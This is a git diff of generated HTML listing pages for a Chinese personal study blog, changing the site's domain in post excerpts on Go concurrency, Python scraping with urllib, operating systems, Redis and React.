         <a href=https://github.com/adityatelange/hugo-PaperMod/ rel=noopener target=_blank>PaperMod</a></span></footer><a href=#top aria-label="go to top" title="Go to Top (Alt + G)" class=top-link id=top-link accesskey=g><svg xmlns="http://www.w3.org/2000/svg" viewBox="0 0 12 6" fill="currentcolor"><path d="M12 6H0l6-6z"/></svg></a><script>let menu=document.getElementById("menu");menu&&(menu.scrollLeft=localStorage.getItem("menu-scroll-position"),menu.onscroll=function(){localStorage.setItem("menu-scroll-position",menu.scrollLeft)}),document.querySelectorAll('a[href^="#"]').forEach(e=>{e.addEventListener("click",function(e){e.preventDefault();var t=this.getAttribute("href").substr(1);window.matchMedia("(prefers-reduced-motion: reduce)").matches?document.querySelector(`[id='${decodeURIComponent(t)}']`).scrollIntoView():document.querySelector(`[id='${decodeURIComponent(t)}']`).scrollIntoView({behavior:"smooth"}),t==="top"?history.replaceState(null,null," "):history.pushState(null,null,`#${t}`)})})</script><script>var mybutton=document.getElementById("top-link");window.onscroll=function(){document.body.scrollTop>800||document.documentElement.scrollTop>800?(mybutton.style.visibility="visible",mybutton.style.opacity="1"):(mybutton.style.visibility="hidden",mybutton.style.opacity="0")}</script><script>document.getElementById("theme-toggle").addEventListener("click",()=>{document.body.className.includes("dark")?(document.body.classList.remove("dark"),localStorage.setItem("pref-theme","light")):(document.body.classList.add("dark"),localStorage.setItem("pref-theme","dark"))})</script></body></html>
\ No newline at end of file
diff --git "a/categories/\345\255\246\344\271\240/page/4/index.html" "b/categories/\345\255\246\344\271\240/page/4/index.html"
index f166e7b6..ffe8be52 100644
--- "a/categories/\345\255\246\344\271\240/page/4/index.html"
+++ "b/categories/\345\255\246\344\271\240/page/4/index.html"
@@ -1,4 +1,4 @@
-<!doctype html><html lang=en dir=auto><head><meta charset=utf-8><meta http-equiv=x-ua-compatible content="IE=edge"><meta name=viewport content="width=device-width,initial-scale=1,shrink-to-fit=no"><meta name=robots content="index, follow"><title>学习 | 小陈的个人博客</title><meta name=keywords content><meta name=description content="小陈的个人博客"><meta name=author content="Me"><link rel=canonical href=https://xiaochenabc123.github.io/categories/%E5%AD%A6%E4%B9%A0/><meta name=google-site-verification content="XYZabc"><meta name=yandex-verification content="XYZabc"><meta name=msvalidate.01 content="XYZabc"><link crossorigin=anonymous href=/assets/css/stylesheet.3613efbd0b1772781e8f49935e973cae632a7f61471c05b17be155505ccf87b5.css integrity="sha256-NhPvvQsXcngej0mTXpc8rmMqf2FHHAWxe+FVUFzPh7U=" rel="preload stylesheet" as=style><link rel=icon href=https://xiaochenabc123.github.io/favicon.ico><link rel=icon type=image/png sizes=16x16 href=https://xiaochenabc123.github.io/favicon.ico><link rel=icon type=image/png sizes=32x32 href=https://xiaochenabc123.github.io/favicon.ico><link rel=apple-touch-icon href=https://xiaochenabc123.github.io/favicon.ico><link rel=mask-icon href=https://xiaochenabc123.github.io/favicon.ico><meta name=theme-color content="#2e2e33"><meta name=msapplication-TileColor content="#2e2e33"><link rel=alternate type=application/rss+xml href=https://xiaochenabc123.github.io/categories/%E5%AD%A6%E4%B9%A0/index.xml><noscript><style>#theme-toggle,.top-link{display:none}</style><style>@media(prefers-color-scheme:dark){:root{--theme:rgb(29, 30, 32);--entry:rgb(46, 46, 51);--primary:rgb(218, 218, 219);--secondary:rgb(155, 156, 157);--tertiary:rgb(65, 66, 68);--content:rgb(196, 196, 197);--hljs-bg:rgb(46, 46, 51);--code-bg:rgb(55, 56, 62);--border:rgb(51, 51, 51)}.list{background:var(--theme)}.list:not(.dark)::-webkit-scrollbar-track{background:0 0}.list:not(.dark)::-webkit-scrollbar-thumb{border-color:var(--theme)}}</style></noscript><script type=application/javascript>var doNotTrack=!1;doNotTrack||(function(e,t,n,s,o,i,a){e.GoogleAnalyticsObject=o,e[o]=e[o]||function(){(e[o].q=e[o].q||[]).push(arguments)},e[o].l=1*new Date,i=t.createElement(n),a=t.getElementsByTagName(n)[0],i.async=1,i.src=s,a.parentNode.insertBefore(i,a)}(window,document,"script","https://www.google-analytics.com/analytics.js","ga"),ga("create","UA-123-45","auto"),ga("send","pageview"))</script><meta property="og:title" content="学习"><meta property="og:description" content="小陈的个人博客"><meta property="og:type" content="website"><meta property="og:url" content="https://xiaochenabc123.github.io/categories/%E5%AD%A6%E4%B9%A0/"><meta property="og:image" content="https://xiaochenabc123.github.io/%3Clink%20or%20path%20of%20image%20for%20opengraph,%20twitter-cards%3E"><meta property="og:site_name" content="ExampleSite"><meta name=twitter:card content="summary_large_image"><meta name=twitter:image content="https://xiaochenabc123.github.io/%3Clink%20or%20path%20of%20image%20for%20opengraph,%20twitter-cards%3E"><meta name=twitter:title content="学习"><meta name=twitter:description content="小陈的个人博客"></head><body class=list id=top><script>localStorage.getItem("pref-theme")==="dark"?document.body.classList.add("dark"):localStorage.getItem("pref-theme")==="light"?document.body.classList.remove("dark"):window.matchMedia("(prefers-color-scheme: dark)").matches&&document.body.classList.add("dark")</script><header class=header><nav class=nav><div class=logo><a href=https://xiaochenabc123.github.io/ accesskey=h title="小陈的个人博客 (Alt + H)"><img src=https://xiaochenabc123.github.io/favicon.ico alt aria-label=logo height=35>小陈的个人博客</a><div class=logo-switches><button id=theme-toggle accesskey=t title="(Alt + T)"><svg id="moon" xmlns="http://www.w3.org/2000/svg" width="24" height="18" viewBox="0 0 24 24" fill="none" stroke="currentcolor" stroke-width="2" stroke-linecap="round" stroke-linejoin="round"><path d="M21 12.79A9 9 0 1111.21 3 7 7 0 0021 12.79z"/></svg><svg id="sun" xmlns="http://www.w3.org/2000/svg" width="24" height="18" viewBox="0 0 24 24" fill="none" stroke="currentcolor" stroke-width="2" stroke-linecap="round" stroke-linejoin="round"><circle cx="12" cy="12" r="5"/><line x1="12" y1="1" x2="12" y2="3"/><line x1="12" y1="21" x2="12" y2="23"/><line x1="4.22" y1="4.22" x2="5.64" y2="5.64"/><line x1="18.36" y1="18.36" x2="19.78" y2="19.78"/><line x1="1" y1="12" x2="3" y2="12"/><line x1="21" y1="12" x2="23" y2="12"/><line x1="4.22" y1="19.78" x2="5.64" y2="18.36"/><line x1="18.36" y1="5.64" x2="19.78" y2="4.22"/></svg></button></div></div><ul id=menu><li><a href=https://xiaochenabc123.github.io/ title=首页><span>首页</span></a></li><li><a href=https://xiaochenabc123.github.io/categories/ title=分类><span>分类</span></a></li><li><a href=https://xiaochenabc123.github.io/archives/ title=归档><span>归档</span></a></li><li><a href=https://xiaochenabc123.github.io/tags/ title=标签><span>标签</span></a></li><li><a href=https://xiaochenabc123.github.io/links/ title=链接><span>链接</span></a></li><li><a href=https://xiaochenabc123.github.io/about/ title=关于><span>关于</span></a></li><li><a href=https://xiaochenabc123.github.io/search/ title="搜索 (Alt + /)" accesskey=/><span>搜索</span></a></li></ul></nav></header><main class=main><header class=page-header><div class=breadcrumbs><a href=https://xiaochenabc123.github.io/>Home</a>&nbsp;»&nbsp;<a href=https://xiaochenabc123.github.io/categories/>Categories</a></div><h1>学习</h1></header><article class="post-entry tag-entry"><header class=entry-header><h2>Golang进阶扩展笔记</h2></header><div class=entry-content><p>这篇笔记是进阶学习，如果基础没有看的的话，请去看https://xiaochenabc123.test.com/archives/96.html
+<!doctype html><html lang=en dir=auto><head><meta charset=utf-8><meta http-equiv=x-ua-compatible content="IE=edge"><meta name=viewport content="width=device-width,initial-scale=1,shrink-to-fit=no"><meta name=robots content="index, follow"><title>学习 | 小陈的个人博客</title><meta name=keywords content><meta name=description content="小陈的个人博客"><meta name=author content="Me"><link rel=canonical href=https://chenjunlinabc.github.io/categories/%E5%AD%A6%E4%B9%A0/><meta name=google-site-verification content="XYZabc"><meta name=yandex-verification content="XYZabc"><meta name=msvalidate.01 content="XYZabc"><link crossorigin=anonymous href=/assets/css/stylesheet.5cfc680b1eeaeef9efbced92d46c2a9e876b72ee14fba85846afc4cff9e6e6f8.css integrity="sha256-XPxoCx7q7vnvvO2S1Gwqnodrcu4U+6hYRq/Ez/nm5vg=" rel="preload stylesheet" as=style><link rel=icon href=https://chenjunlinabc.github.io/favicon.ico><link rel=icon type=image/png sizes=16x16 href=https://chenjunlinabc.github.io/favicon.ico><link rel=icon type=image/png sizes=32x32 href=https://chenjunlinabc.github.io/favicon.ico><link rel=apple-touch-icon href=https://chenjunlinabc.github.io/favicon.ico><link rel=mask-icon href=https://chenjunlinabc.github.io/favicon.ico><meta name=theme-color content="#2e2e33"><meta name=msapplication-TileColor content="#2e2e33"><link rel=alternate type=application/rss+xml href=https://chenjunlinabc.github.io/categories/%E5%AD%A6%E4%B9%A0/index.xml><noscript><style>#theme-toggle,.top-link{display:none}</style><style>@media(prefers-color-scheme:dark){:root{--theme:rgb(29, 30, 32);--entry:rgb(46, 46, 51);--primary:rgb(218, 218, 219);--secondary:rgb(155, 156, 157);--tertiary:rgb(65, 66, 68);--content:rgb(196, 196, 197);--hljs-bg:rgb(46, 46, 51);--code-bg:rgb(55, 56, 62);--border:rgb(51, 51, 51)}.list{background:var(--theme)}.list:not(.dark)::-webkit-scrollbar-track{background:0 0}.list:not(.dark)::-webkit-scrollbar-thumb{border-color:var(--theme)}}</style></noscript><script type=application/javascript>var doNotTrack=!1;doNotTrack||(function(e,t,n,s,o,i,a){e.GoogleAnalyticsObject=o,e[o]=e[o]||function(){(e[o].q=e[o].q||[]).push(arguments)},e[o].l=1*new Date,i=t.createElement(n),a=t.getElementsByTagName(n)[0],i.async=1,i.src=s,a.parentNode.insertBefore(i,a)}(window,document,"script","https://www.google-analytics.com/analytics.js","ga"),ga("create","UA-123-45","auto"),ga("send","pageview"))</script><meta property="og:title" content="学习"><meta property="og:description" content="小陈的个人博客"><meta property="og:type" content="website"><meta property="og:url" content="https://chenjunlinabc.github.io/categories/%E5%AD%A6%E4%B9%A0/"><meta property="og:image" content="https://chenjunlinabc.github.io/%3Clink%20or%20path%20of%20image%20for%20opengraph,%20twitter-cards%3E"><meta property="og:site_name" content="ExampleSite"><meta name=twitter:card content="summary_large_image"><meta name=twitter:image content="https://chenjunlinabc.github.io/%3Clink%20or%20path%20of%20image%20for%20opengraph,%20twitter-cards%3E"><meta name=twitter:title content="学习"><meta name=twitter:description content="小陈的个人博客"></head><body class=list id=top><script>localStorage.getItem("pref-theme")==="dark"?document.body.classList.add("dark"):localStorage.getItem("pref-theme")==="light"?document.body.classList.remove("dark"):window.matchMedia("(prefers-color-scheme: dark)").matches&&document.body.classList.add("dark")</script><header class=header><nav class=nav><div class=logo><a href=https://chenjunlinabc.github.io/ accesskey=h title="小陈的个人博客 (Alt + H)"><img src=https://chenjunlinabc.github.io/favicon.ico alt aria-label=logo height=35>小陈的个人博客</a><div class=logo-switches><button id=theme-toggle accesskey=t title="(Alt + T)"><svg id="moon" xmlns="http://www.w3.org/2000/svg" width="24" height="18" viewBox="0 0 24 24" fill="none" stroke="currentcolor" stroke-width="2" stroke-linecap="round" stroke-linejoin="round"><path d="M21 12.79A9 9 0 1111.21 3 7 7 0 0021 12.79z"/></svg><svg id="sun" xmlns="http://www.w3.org/2000/svg" width="24" height="18" viewBox="0 0 24 24" fill="none" stroke="currentcolor" stroke-width="2" stroke-linecap="round" stroke-linejoin="round"><circle cx="12" cy="12" r="5"/><line x1="12" y1="1" x2="12" y2="3"/><line x1="12" y1="21" x2="12" y2="23"/><line x1="4.22" y1="4.22" x2="5.64" y2="5.64"/><line x1="18.36" y1="18.36" x2="19.78" y2="19.78"/><line x1="1" y1="12" x2="3" y2="12"/><line x1="21" y1="12" x2="23" y2="12"/><line x1="4.22" y1="19.78" x2="5.64" y2="18.36"/><line x1="18.36" y1="5.64" x2="19.78" y2="4.22"/></svg></button></div></div><ul id=menu><li><a href=https://chenjunlinabc.github.io/ title=首页><span>首页</span></a></li><li><a href=https://chenjunlinabc.github.io/categories/ title=分类><span>分类</span></a></li><li><a href=https://chenjunlinabc.github.io/archives/ title=归档><span>归档</span></a></li><li><a href=https://chenjunlinabc.github.io/tags/ title=标签><span>标签</span></a></li><li><a href=https://chenjunlinabc.github.io/links/ title=链接><span>链接</span></a></li><li><a href=https://chenjunlinabc.github.io/about/ title=关于><span>关于</span></a></li><li><a href=https://chenjunlinabc.github.io/search/ title="搜索 (Alt + /)" accesskey=/><span>搜索</span></a></li></ul></nav></header><main class=main><header class=page-header><div class=breadcrumbs><a href=https://chenjunlinabc.github.io/>Home</a>&nbsp;»&nbsp;<a href=https://chenjunlinabc.github.io/categories/>Categories</a></div><h1>学习</h1></header><article class="post-entry tag-entry"><header class=entry-header><h2>Golang进阶扩展笔记</h2></header><div class=entry-content><p>这篇笔记是进阶学习，如果基础没有看的的话，请去看https://xiaochenabc123.test.com/archives/96.html
 并发
 go的并发靠goroutine，goroutine由go运行时调度，线程由操作系统调度，go还提供channel来给多个goroutine之间通行，goroutine和channel是go并发模式CSP（Communicating Sequential Process，通讯顺序进程）的实现基础，goroutine的调度在用户态下完成，不涉及内核态（比如内存的分配和释放，都是用户态维护的内存池，成本远比调度OS线程要低的多，可轻松做到成千上万个goroutine）
 内核态：程序执行操作系统层级的程序时
@@ -35,7 +35,7 @@
 载入（读取，避免读取过程，其他协程进行修改操作）：func LoadInt64(addr *int64) (val int64)
 存储（写入，避免写入过程，其他协程进行读取操作）：func StoreInt64(addr *int64, val int64)
 交换（和CAS不同，交换只赋值old值，不管原来的值）：func SwapInt64(addr *int64, new int64) (old int64)
-比较并且交换（Compare And Swap 简称CAS，类似于乐观锁，只有原来的值和传入的old值一样才修改）：func CompareAndSwapInt64(addr *int64, old, new int64) (swapped bool)...</p></div><footer class=entry-footer><span title='2022-01-16 09:08:00 +0000 UTC'>2022-01-16</span>&nbsp;·&nbsp;2 min&nbsp;·&nbsp;Me</footer><a class=entry-link aria-label="post link to Golang进阶扩展笔记" href=https://xiaochenabc123.github.io/posts/128/></a></article><article class="post-entry tag-entry"><header class=entry-header><h2>python爬虫学习笔记</h2></header><div class=entry-content><p>urllib，xpath，jsonpath，beautiful，requests，selenium，Scrapy
+比较并且交换（Compare And Swap 简称CAS，类似于乐观锁，只有原来的值和传入的old值一样才修改）：func CompareAndSwapInt64(addr *int64, old, new int64) (swapped bool)...</p></div><footer class=entry-footer><span title='2022-01-16 09:08:00 +0000 UTC'>2022-01-16</span>&nbsp;·&nbsp;2 min&nbsp;·&nbsp;Me</footer><a class=entry-link aria-label="post link to Golang进阶扩展笔记" href=https://chenjunlinabc.github.io/posts/128/></a></article><article class="post-entry tag-entry"><header class=entry-header><h2>python爬虫学习笔记</h2></header><div class=entry-content><p>urllib，xpath，jsonpath，beautiful，requests，selenium，Scrapy
 python库内置的HTTP请求库 urllib.request 请求模块 urllib.error 异常处理模块 urllib.parse url解析模块 urllib.robotparsef robots.txt解析模块
 urllib.request提供了最基本的http请求方法，主要带有处理授权验证，重定向，浏览器Cookies功能
 模拟浏览器发送get请求，就需要使用request对象，在该对象添加http头 import urllib.requst response = urllib.request.urlopen(‘https://xiaochenabc123.test.com/') print(response.read().decode(‘utf-8’))
@@ -45,11 +45,7 @@
 post发送一个请求，只需要把参数data以bytes类型传入 import urllib.parse import urllib.request data = bytes(urllib.parse.urlencode({‘hallo’:‘python’}),encoding=‘utf-8’) response = urllib.request.urlopen(‘http://httpbin.org/post'.data = data) print(response.read())
 timeout参数用于设置超时时间，单位为秒 import urllib.request response = urllib.request.urlopen(‘https://xiaochenabc123.test.com/',timeout=1)
 这里设置超时时间为1秒，如果超了1秒，服务器依然没有响应就抛出URLError异常，可以结合try和except
-import urllib.parse
-import urllib.request
-url = "https://xiaochenabc123.test.com/"
-headers = {
-'User-Agent': 'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537....</p></div><footer class=entry-footer><span title='2021-12-31 01:05:00 +0000 UTC'>2021-12-31</span>&nbsp;·&nbsp;7 min&nbsp;·&nbsp;Me</footer><a class=entry-link aria-label="post link to python爬虫学习笔记" href=https://xiaochenabc123.github.io/posts/125/></a></article><article class="post-entry tag-entry"><header class=entry-header><h2>操作系统学习笔记</h2></header><div class=entry-content><p>操作系统是管理计算机硬件和软件资源，并且提供用户交互的软件系统
+import urllib.parse import urllib.request url = "https://xiaochenabc123.test.com/" headers = { 'User-Agent': 'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537....</p></div><footer class=entry-footer><span title='2021-12-31 01:05:00 +0000 UTC'>2021-12-31</span>&nbsp;·&nbsp;7 min&nbsp;·&nbsp;Me</footer><a class=entry-link aria-label="post link to python爬虫学习笔记" href=https://chenjunlinabc.github.io/posts/125/></a></article><article class="post-entry tag-entry"><header class=entry-header><h2>操作系统学习笔记</h2></header><div class=entry-content><p>操作系统是管理计算机硬件和软件资源，并且提供用户交互的软件系统
 常见操作系统有Windows，Linux，Android
 操作系统具备管理计算机资源的功能，具备抽象计算机资源的能力，能和用户进行交互
 操作系统实质上是一个很复杂的控制软件，可以管理应用，资源管理，管理外设等等
@@ -108,7 +104,7 @@
 运行和就绪可互相转换，运行状态就是CPU指令在读取运行进程中的程序段，而就绪就是该进程在等待调用
 运行可切换到阻塞状态
 阻塞就是进程在等待信号（依赖的资源没有就位），阻塞状态结束后会切换到就绪状态
-进程状态的切换可理解为接力赛跑，运行状态就是正在跑的运动员，而就绪状态就是在等待接力棒的运动员，而阻塞状态就是运动员需要补充休息，暂时不跑了...</p></div><footer class=entry-footer><span title='2021-10-07 09:00:00 +0000 UTC'>2021-10-07</span>&nbsp;·&nbsp;1 min&nbsp;·&nbsp;Me</footer><a class=entry-link aria-label="post link to 操作系统学习笔记" href=https://xiaochenabc123.github.io/posts/115/></a></article><article class="post-entry tag-entry"><header class=entry-header><h2>Redis学习笔记</h2></header><div class=entry-content><p>Redis是NoSQL数据库（Not Only SQL）家族的代表之一，其特点就是基于内存运行，支持分布式，key-value存储
+进程状态的切换可理解为接力赛跑，运行状态就是正在跑的运动员，而就绪状态就是在等待接力棒的运动员，而阻塞状态就是运动员需要补充休息，暂时不跑了...</p></div><footer class=entry-footer><span title='2021-10-07 09:00:00 +0000 UTC'>2021-10-07</span>&nbsp;·&nbsp;1 min&nbsp;·&nbsp;Me</footer><a class=entry-link aria-label="post link to 操作系统学习笔记" href=https://chenjunlinabc.github.io/posts/115/></a></article><article class="post-entry tag-entry"><header class=entry-header><h2>Redis学习笔记</h2></header><div class=entry-content><p>Redis是NoSQL数据库（Not Only SQL）家族的代表之一，其特点就是基于内存运行，支持分布式，key-value存储
 Redis具备速度快，支持多种数据结构，可持久化，支持主从复制，具备高可用，分布式等特点
 可以将内存中的数据存储到磁盘中，重启的时候再加载使用，保证数据的持久性，支持备份恢复，常用于缓存数据库（辅助持久化数据库）
 因为其是以内存作为存储介质，因此读写数据的效率极高，读取速度可高达110000次/s（也就说可达到10W QPS，QPS（Queries Per Second）:每秒查询率），写速度高达81000次/s
@@ -151,7 +147,7 @@
 logfile，redis日志名
 dir，redis工作目录（日志文件和持久化文件存储在哪个文件）
 以守护进程运行（yes为守护进程），注意如果是以守护进程运行，那么会默认将pid写入到/var/run/redis.pid
-daemonize yes...</p></div><footer class=entry-footer><span title='2021-09-10 21:10:00 +0000 UTC'>2021-09-10</span>&nbsp;·&nbsp;5 min&nbsp;·&nbsp;Me</footer><a class=entry-link aria-label="post link to Redis学习笔记" href=https://xiaochenabc123.github.io/posts/97/></a></article><article class="post-entry tag-entry"><header class=entry-header><h2>Golang学习笔记</h2></header><div class=entry-content><p>Golang又叫go语言，golang是它的全称，是由Google开发的一种静态强类型，编译型，并发型，并具有垃圾回收功能的编程语言
+daemonize yes...</p></div><footer class=entry-footer><span title='2021-09-10 21:10:00 +0000 UTC'>2021-09-10</span>&nbsp;·&nbsp;5 min&nbsp;·&nbsp;Me</footer><a class=entry-link aria-label="post link to Redis学习笔记" href=https://chenjunlinabc.github.io/posts/97/></a></article><article class="post-entry tag-entry"><header class=entry-header><h2>Golang学习笔记</h2></header><div class=entry-content><p>Golang又叫go语言，golang是它的全称，是由Google开发的一种静态强类型，编译型，并发型，并具有垃圾回收功能的编程语言
 go语言确保达到静态编译语言的安全和性能的同时，又达到动态语言的开发维护效率
 Go语言天生支持并发，提供自动垃圾回收机制
 go的源文件是xxx.go
@@ -166,12 +162,7 @@
 go env
 源程序默认为UTF-8编码，;可省略
 第一个go程序
-package main
-import "fmt"
-func main(){
-fmt.Println("hallo golang")
-}
-go run hallo.go
+package main import "fmt" func main(){ fmt.Println("hallo golang") } go run hallo.go
 当然作为一个编译型语言，编译成二进制文件是支持的
 go build hallo.go
 作为一个静态强类型语言，如果学过java的话，理解还是很轻松的
@@ -192,8 +183,8 @@
 var abc string = “hallo”
 注意：如果声明变量了，但是没有初始化，那个该变量的值为系统默认设置的值（零值）
 定义多个变量
-var abc xyz string = “hallo”,“word”...</p></div><footer class=entry-footer><span title='2021-09-09 01:00:00 +0000 UTC'>2021-09-09</span>&nbsp;·&nbsp;13 min&nbsp;·&nbsp;Me</footer><a class=entry-link aria-label="post link to Golang学习笔记" href=https://xiaochenabc123.github.io/posts/96/></a></article><footer class=page-footer><nav class=pagination><a class=prev href=https://xiaochenabc123.github.io/categories/%E5%AD%A6%E4%B9%A0/page/3/>«&nbsp;Prev&nbsp;</a>
-<a class=next href=https://xiaochenabc123.github.io/categories/%E5%AD%A6%E4%B9%A0/page/5/>Next&nbsp;&nbsp;»</a></nav></footer></main><footer class=footer><span>&copy; 2023 <a href=https://xiaochenabc123.github.io/>小陈的个人博客</a></span>
+var abc xyz string = “hallo”,“word”...</p></div><footer class=entry-footer><span title='2021-09-09 01:00:00 +0000 UTC'>2021-09-09</span>&nbsp;·&nbsp;13 min&nbsp;·&nbsp;Me</footer><a class=entry-link aria-label="post link to Golang学习笔记" href=https://chenjunlinabc.github.io/posts/96/></a></article><footer class=page-footer><nav class=pagination><a class=prev href=https://chenjunlinabc.github.io/categories/%E5%AD%A6%E4%B9%A0/page/3/>«&nbsp;Prev&nbsp;</a>
+<a class=next href=https://chenjunlinabc.github.io/categories/%E5%AD%A6%E4%B9%A0/page/5/>Next&nbsp;&nbsp;»</a></nav></footer></main><footer class=footer><span>&copy; 2023 <a href=https://chenjunlinabc.github.io/>小陈的个人博客</a></span>
 <span>Powered by
 <a href=https://gohugo.io/ rel="noopener noreferrer" target=_blank>Hugo</a> &
         <a href=https://github.com/adityatelange/hugo-PaperMod/ rel=noopener target=_blank>PaperMod</a></span></footer><a href=#top aria-label="go to top" title="Go to Top (Alt + G)" class=top-link id=top-link accesskey=g><svg xmlns="http://www.w3.org/2000/svg" viewBox="0 0 12 6" fill="currentcolor"><path d="M12 6H0l6-6z"/></svg></a><script>let menu=document.getElementById("menu");menu&&(menu.scrollLeft=localStorage.getItem("menu-scroll-position"),menu.onscroll=function(){localStorage.setItem("menu-scroll-position",menu.scrollLeft)}),document.querySelectorAll('a[href^="#"]').forEach(e=>{e.addEventListener("click",function(e){e.preventDefault();var t=this.getAttribute("href").substr(1);window.matchMedia("(prefers-reduced-motion: reduce)").matches?document.querySelector(`[id='${decodeURIComponent(t)}']`).scrollIntoView():document.querySelector(`[id='${decodeURIComponent(t)}']`).scrollIntoView({behavior:"smooth"}),t==="top"?history.replaceState(null,null," "):history.pushState(null,null,`#${t}`)})})</script><script>var mybutton=document.getElementById("top-link");window.onscroll=function(){document.body.scrollTop>800||document.documentElement.scrollTop>800?(mybutton.style.visibility="visible",mybutton.style.opacity="1"):(mybutton.style.visibility="hidden",mybutton.style.opacity="0")}</script><script>document.getElementById("theme-toggle").addEventListener("click",()=>{document.body.className.includes("dark")?(document.body.classList.remove("dark"),localStorage.setItem("pref-theme","light")):(document.body.classList.add("dark"),localStorage.setItem("pref-theme","dark"))})</script></body></html>
\ No newline at end of file
diff --git "a/categories/\345\255\246\344\271\240/page/5/index.html" "b/categories/\345\255\246\344\271\240/page/5/index.html"
index 13a0b72a..1570b0b0 100644
--- "a/categories/\345\255\246\344\271\240/page/5/index.html"
+++ "b/categories/\345\255\246\344\271\240/page/5/index.html"
@@ -1,24 +1,12 @@
-<!doctype html><html lang=en dir=auto><head><meta charset=utf-8><meta http-equiv=x-ua-compatible content="IE=edge"><meta name=viewport content="width=device-width,initial-scale=1,shrink-to-fit=no"><meta name=robots content="index, follow"><title>学习 | 小陈的个人博客</title><meta name=keywords content><meta name=description content="小陈的个人博客"><meta name=author content="Me"><link rel=canonical href=https://xiaochenabc123.github.io/categories/%E5%AD%A6%E4%B9%A0/><meta name=google-site-verification content="XYZabc"><meta name=yandex-verification content="XYZabc"><meta name=msvalidate.01 content="XYZabc"><link crossorigin=anonymous href=/assets/css/stylesheet.3613efbd0b1772781e8f49935e973cae632a7f61471c05b17be155505ccf87b5.css integrity="sha256-NhPvvQsXcngej0mTXpc8rmMqf2FHHAWxe+FVUFzPh7U=" rel="preload stylesheet" as=style><link rel=icon href=https://xiaochenabc123.github.io/favicon.ico><link rel=icon type=image/png sizes=16x16 href=https://xiaochenabc123.github.io/favicon.ico><link rel=icon type=image/png sizes=32x32 href=https://xiaochenabc123.github.io/favicon.ico><link rel=apple-touch-icon href=https://xiaochenabc123.github.io/favicon.ico><link rel=mask-icon href=https://xiaochenabc123.github.io/favicon.ico><meta name=theme-color content="#2e2e33"><meta name=msapplication-TileColor content="#2e2e33"><link rel=alternate type=application/rss+xml href=https://xiaochenabc123.github.io/categories/%E5%AD%A6%E4%B9%A0/index.xml><noscript><style>#theme-toggle,.top-link{display:none}</style><style>@media(prefers-color-scheme:dark){:root{--theme:rgb(29, 30, 32);--entry:rgb(46, 46, 51);--primary:rgb(218, 218, 219);--secondary:rgb(155, 156, 157);--tertiary:rgb(65, 66, 68);--content:rgb(196, 196, 197);--hljs-bg:rgb(46, 46, 51);--code-bg:rgb(55, 56, 62);--border:rgb(51, 51, 51)}.list{background:var(--theme)}.list:not(.dark)::-webkit-scrollbar-track{background:0 0}.list:not(.dark)::-webkit-scrollbar-thumb{border-color:var(--theme)}}</style></noscript><script type=application/javascript>var doNotTrack=!1;doNotTrack||(function(e,t,n,s,o,i,a){e.GoogleAnalyticsObject=o,e[o]=e[o]||function(){(e[o].q=e[o].q||[]).push(arguments)},e[o].l=1*new Date,i=t.createElement(n),a=t.getElementsByTagName(n)[0],i.async=1,i.src=s,a.parentNode.insertBefore(i,a)}(window,document,"script","https://www.google-analytics.com/analytics.js","ga"),ga("create","UA-123-45","auto"),ga("send","pageview"))</script><meta property="og:title" content="学习"><meta property="og:description" content="小陈的个人博客"><meta property="og:type" content="website"><meta property="og:url" content="https://xiaochenabc123.github.io/categories/%E5%AD%A6%E4%B9%A0/"><meta property="og:image" content="https://xiaochenabc123.github.io/%3Clink%20or%20path%20of%20image%20for%20opengraph,%20twitter-cards%3E"><meta property="og:site_name" content="ExampleSite"><meta name=twitter:card content="summary_large_image"><meta name=twitter:image content="https://xiaochenabc123.github.io/%3Clink%20or%20path%20of%20image%20for%20opengraph,%20twitter-cards%3E"><meta name=twitter:title content="学习"><meta name=twitter:description content="小陈的个人博客"></head><body class=list id=top><script>localStorage.getItem("pref-theme")==="dark"?document.body.classList.add("dark"):localStorage.getItem("pref-theme")==="light"?document.body.classList.remove("dark"):window.matchMedia("(prefers-color-scheme: dark)").matches&&document.body.classList.add("dark")</script><header class=header><nav class=nav><div class=logo><a href=https://xiaochenabc123.github.io/ accesskey=h title="小陈的个人博客 (Alt + H)"><img src=https://xiaochenabc123.github.io/favicon.ico alt aria-label=logo height=35>小陈的个人博客</a><div class=logo-switches><button id=theme-toggle accesskey=t title="(Alt + T)"><svg id="moon" xmlns="http://www.w3.org/2000/svg" width="24" height="18" viewBox="0 0 24 24" fill="none" stroke="currentcolor" stroke-width="2" stroke-linecap="round" stroke-linejoin="round"><path d="M21 12.79A9 9 0 1111.21 3 7 7 0 0021 12.79z"/></svg><svg id="sun" xmlns="http://www.w3.org/2000/svg" width="24" height="18" viewBox="0 0 24 24" fill="none" stroke="currentcolor" stroke-width="2" stroke-linecap="round" stroke-linejoin="round"><circle cx="12" cy="12" r="5"/><line x1="12" y1="1" x2="12" y2="3"/><line x1="12" y1="21" x2="12" y2="23"/><line x1="4.22" y1="4.22" x2="5.64" y2="5.64"/><line x1="18.36" y1="18.36" x2="19.78" y2="19.78"/><line x1="1" y1="12" x2="3" y2="12"/><line x1="21" y1="12" x2="23" y2="12"/><line x1="4.22" y1="19.78" x2="5.64" y2="18.36"/><line x1="18.36" y1="5.64" x2="19.78" y2="4.22"/></svg></button></div></div><ul id=menu><li><a href=https://xiaochenabc123.github.io/ title=首页><span>首页</span></a></li><li><a href=https://xiaochenabc123.github.io/categories/ title=分类><span>分类</span></a></li><li><a href=https://xiaochenabc123.github.io/archives/ title=归档><span>归档</span></a></li><li><a href=https://xiaochenabc123.github.io/tags/ title=标签><span>标签</span></a></li><li><a href=https://xiaochenabc123.github.io/links/ title=链接><span>链接</span></a></li><li><a href=https://xiaochenabc123.github.io/about/ title=关于><span>关于</span></a></li><li><a href=https://xiaochenabc123.github.io/search/ title="搜索 (Alt + /)" accesskey=/><span>搜索</span></a></li></ul></nav></header><main class=main><header class=page-header><div class=breadcrumbs><a href=https://xiaochenabc123.github.io/>Home</a>&nbsp;»&nbsp;<a href=https://xiaochenabc123.github.io/categories/>Categories</a></div><h1>学习</h1></header><article class="post-entry tag-entry"><header class=entry-header><h2>React进阶学习笔记</h2></header><div class=entry-content><p>react16是Facebook在2017年发布的react版本，几乎对react底层进行重写，但是对外API不变，因此可以无缝转移到react16
